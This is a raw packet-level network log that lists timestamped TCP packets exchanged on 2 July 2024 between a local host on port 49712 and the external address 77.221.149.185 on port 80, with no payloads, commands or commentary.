Jul 2, 2024 22:52:24.777017117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.777021885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777030945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777041912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777050972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777053118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.777059078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.777060986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777070999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777074099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.777107000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.777873993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777884960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777894020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777909040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777919054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777924061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.777929068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777935982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.777937889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777947903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777959108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777960062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.777968884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777980089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777991056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.777992010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.778001070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.778011084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.778027058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.778037071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.778798103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.778809071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.778819084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.778827906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.778839111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.778848886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.778853893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.778858900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.778867960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.778872013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.778872013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.778877974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.778887987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.778899908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.778913975 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.778935909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.779643059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.779653072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.779671907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.779681921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.779690981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.779696941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.779701948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.779711962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.779715061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.779721022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.779731035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.779736996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.779738903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.779748917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.779758930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.779782057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.779782057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.780622959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.780633926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.780644894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.780654907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.780659914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.780663967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.780673981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.780683041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.780690908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.780693054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.780702114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.780713081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.780713081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.780723095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.780724049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.780733109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.780735970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.780756950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.781431913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781445026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781456947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781466961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781477928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781482935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.781493902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781506062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781512976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.781519890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.781553984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.781898975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781910896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781928062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781939983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781950951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.781950951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781961918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781974077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781985044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.781989098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.781997919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.782008886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.782012939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.782021046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.782025099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.782032967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.782043934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.782054901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.782085896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.782610893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.782620907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.782633066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.782644987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.782655954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.782663107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.782668114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.782677889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.782687902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.782705069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.782716990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.828531027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.828592062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.828602076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.828641891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.828743935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.828753948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.828764915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.828773975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.828780890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.828802109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.882699966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.902859926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.902899027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.902909994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903012037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.903068066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903079033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903088093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903099060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903142929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.903142929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.903342009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903357029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903367043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903377056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903382063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.903387070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903397083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903407097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903407097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.903436899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.903896093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903908968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.903955936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.904042959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904052973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904062033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904089928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904092073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.904100895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904109955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904115915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904129028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.904129982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904140949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904150963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904159069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.904161930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904181957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.904200077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.904884100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904895067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904903889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904913902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904923916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904927015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.904933929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904943943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904953003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.904953003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.904983044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.905493021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.905504942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.905514956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.905524969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.905531883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.905534983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.905551910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.905556917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.905560970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.905570030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.905580044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.905580044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.905590057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.905600071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.905603886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.905610085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.905617952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.905647039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.906420946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906431913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906441927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906451941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906466007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906476974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906482935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.906486988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906496048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906503916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.906506062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906516075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906524897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.906527042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906536102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906543970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.906544924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906555891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906570911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.906590939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.906616926 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.907391071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907404900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907413006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907423973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907432079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907440901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907449961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.907450914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907459974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907465935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.907469988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907480001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907490015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.907490015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907499075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907501936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.907510042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907520056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.907520056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.907546997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.907583952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.908252954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.908263922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.908272982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.908282995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.908292055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.908297062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.908301115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.908307076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.908317089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.908327103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.908337116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.908339024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.908348083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.908351898 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.908370972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.910057068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910069942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910080910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910106897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.910129070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.910195112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910204887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910216093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910224915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910238981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.910263062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.910439014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910557032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910567045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910578012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910587072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910597086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910604954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.910605907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.910630941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.911267042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.911314011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.911324978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.911359072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.911442995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.911459923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.911470890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.911480904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.911498070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.911515951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.963646889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.963763952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.963776112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.963793993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.963845968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.963855028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.963856936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.963867903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:24.963891029 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:24.963915110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.012713909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.012727022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.012737036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.012810946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.012830019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.012841940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.012851000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.012861967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.012878895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.012888908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.013031006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013104916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.013149977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013159990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013164997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013170004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013225079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.013417006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013427019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013439894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013448000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013518095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.013679981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013689995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013700008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013710022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013729095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.013736010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013746023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013746977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.013755083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013761044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013771057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.013780117 CEST	80	49712	77.221.149.185	192.168.2.5
